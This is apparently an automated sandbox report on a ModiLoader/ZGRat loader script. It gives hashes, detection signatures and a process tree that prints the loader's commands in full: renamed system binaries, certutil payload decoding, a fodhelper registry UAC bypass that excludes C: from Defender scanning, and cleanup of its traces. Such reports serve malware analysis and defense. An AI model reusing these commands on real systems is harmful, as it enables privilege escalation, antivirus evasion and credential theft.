Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-05-2024 12:34

General

  • Target

    doc023561361500.cmd

  • Size

    3.5MB

  • MD5

    dd0e66d9764dda9819678f30922aa6bd

  • SHA1

    cc4937f70fc66f05c3c8d0df868a5bb82222a12c

  • SHA256

    a092e4a960900082c38c3b96ba17b62efa3d8b7a558ea9964478afa459fcc1a5

  • SHA512

    5279fbefb87e776e0c6cacd73610ff0ffada1f6493c01d39b5e44711cc37f1085bfa051f0e2235647f99a183b9c3bf1722dc3a0f760188b3c81b15c6de698206

  • SSDEEP

    49152:uKh6qKOnA/Xl5c25Qnvo9pYPTLBOEKSKhFVq1ZDNBcKKBP78Vp+D6LWg:R

Malware Config

Signatures

  • Detect ZGRat V1 33 IoCs
  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • ModiLoader Second Stage 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 26 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1736
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:636
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        2⤵
        • Executes dropped EXE
        PID:396
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        2⤵
        • Executes dropped EXE
        PID:2524
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1020
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:2900
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4496
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
            3⤵
            • Executes dropped EXE
            PID:4824
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1720
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            3⤵
              PID:4920
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2512
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              3⤵
                PID:1808
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1916
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                3⤵
                  PID:1604
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3440
                • C:\Users\Public\xkn.exe
                  C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1572
                  • C:\Users\Public\alpha.exe
                    "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3960
                    • C:\Users\Public\ger.exe
                      C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Modifies registry class
                      PID:4904
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2188
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                  3⤵
                  • Executes dropped EXE
                  PID:3496
              • C:\Windows \System32\per.exe
                "C:\\Windows \\System32\\per.exe"
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:2856
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3548
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1192
              • C:\Users\Public\Libraries\Ping_c.pif
                C:\Users\Public\Libraries\Ping_c.pif
                2⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1200
                • C:\Users\Public\Libraries\gcggysoG.pif
                  C:\Users\Public\Libraries\gcggysoG.pif
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3000
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                2⤵
                • Executes dropped EXE
                PID:4464
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                2⤵
                • Executes dropped EXE
                PID:1656
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                2⤵
                • Executes dropped EXE
                PID:1148
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:4352
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:3456
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:1208
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:2772
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:1796
            • C:\Windows\system32\SystemSettingsAdminFlows.exe
              "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
              1⤵
                PID:4288

              Network

              MITRE ATT&CK Matrix ATT&CK v13

              Credential Access

              Unsecured Credentials

              4
              T1552

              Credentials In Files

              3
              T1552.001

              Credentials in Registry

              1
              T1552.002

              Discovery

              Query Registry

              1
              T1012

              System Information Discovery

              1
              T1082

              Collection

              Data from Local System

              4
              T1005

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cac0q5fr.gfi.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Public\Libraries\Ping_c.pif
                Filesize

                1.2MB

                MD5

                7ab12ae02c9531b7ffb6f4fbb24ee11d

                SHA1

                39eb62487ed993b200a0f015c10833643664b7a0

                SHA256

                96608d5d3810216c29d3e9ed53a0c004b7787da923f17922bf8af3405b85d90a

                SHA512

                eef676cc6928653d2b098ddfee4604dab46232fce3a20e32c7a2c505356c02d66b0cf045149bb4dd0e4b132635c639ddc006d482e502714ead7a7b64df3191c9

              • C:\Users\Public\Libraries\gcggysoG.pif
                Filesize

                66KB

                MD5

                c116d3604ceafe7057d77ff27552c215

                SHA1

                452b14432fb5758b46f2897aeccd89f7c82a727d

                SHA256

                7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

                SHA512

                9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

              • C:\Users\Public\Ping_c.mp4
                Filesize

                2.4MB

                MD5

                4563cccfc27b4ee87597a7e6e73e7924

                SHA1

                c5eac5e97193ce539f8b387c906abb7fc9c9488e

                SHA256

                e0b66384d8a8da0fc7921d7bda9e6ea51abe4477009f82d27d4588c3444baea3

                SHA512

                080f27b767139105dcc80d038a55b50413a934f4390bdc2f0271acde17b3a1e2eb90dee765de433b067b7deda9752ba5b6ab4470c12eddd4d36534dbb4b5351a

              • C:\Users\Public\alpha.exe
                Filesize

                283KB

                MD5

                8a2122e8162dbef04694b9c3e0b6cdee

                SHA1

                f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                SHA256

                b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                SHA512

                99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

              • C:\Users\Public\ger.exe
                Filesize

                75KB

                MD5

                227f63e1d9008b36bdbcc4b397780be4

                SHA1

                c0db341defa8ef40c03ed769a9001d600e0f4dae

                SHA256

                c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                SHA512

                101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

              • C:\Users\Public\kn.exe
                Filesize

                1.6MB

                MD5

                bd8d9943a9b1def98eb83e0fa48796c2

                SHA1

                70e89852f023ab7cde0173eda1208dbb580f1e4f

                SHA256

                8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                SHA512

                95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

              • C:\Users\Public\xkn.exe
                Filesize

                442KB

                MD5

                04029e121a0cfa5991749937dd22a1d9

                SHA1

                f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                SHA256

                9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                SHA512

                6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

              • C:\Windows \System32\per.exe
                Filesize

                48KB

                MD5

                85018be1fd913656bc9ff541f017eacd

                SHA1

                26d7407931b713e0f0fa8b872feecdb3cf49065a

                SHA256

                c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

                SHA512

                3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

              • memory/1200-75-0x0000000000400000-0x0000000000536000-memory.dmp
                Filesize

                1.2MB

              • memory/1572-45-0x00000241A0040000-0x00000241A0062000-memory.dmp
                Filesize

                136KB

              • memory/3000-127-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-115-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-83-0x0000000031F10000-0x0000000031F6C000-memory.dmp
                Filesize

                368KB

              • memory/3000-84-0x0000000034650000-0x0000000034BF4000-memory.dmp
                Filesize

                5.6MB

              • memory/3000-85-0x0000000034560000-0x00000000345BA000-memory.dmp
                Filesize

                360KB

              • memory/3000-89-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-99-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-145-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-144-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-139-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-138-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-135-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-133-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-132-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-129-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-78-0x0000000000400000-0x0000000001400000-memory.dmp
                Filesize

                16.0MB

              • memory/3000-125-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-123-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-121-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-119-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-117-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-81-0x0000000000400000-0x0000000001400000-memory.dmp
                Filesize

                16.0MB

              • memory/3000-113-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-111-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-109-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-107-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-101-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-97-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-95-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-93-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-91-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-141-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-105-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-103-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-87-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-86-0x0000000034560000-0x00000000345B5000-memory.dmp
                Filesize

                340KB

              • memory/3000-1172-0x00000000345C0000-0x0000000034626000-memory.dmp
                Filesize

                408KB

              • memory/3000-1173-0x0000000035B70000-0x0000000035BC0000-memory.dmp
                Filesize

                320KB

              • memory/3000-1174-0x0000000035BC0000-0x0000000035C5C000-memory.dmp
                Filesize

                624KB

              • memory/3000-1177-0x0000000035CE0000-0x0000000035D72000-memory.dmp
                Filesize

                584KB

              • memory/3000-1178-0x0000000035EF0000-0x0000000035EFA000-memory.dmp
                Filesize

                40KB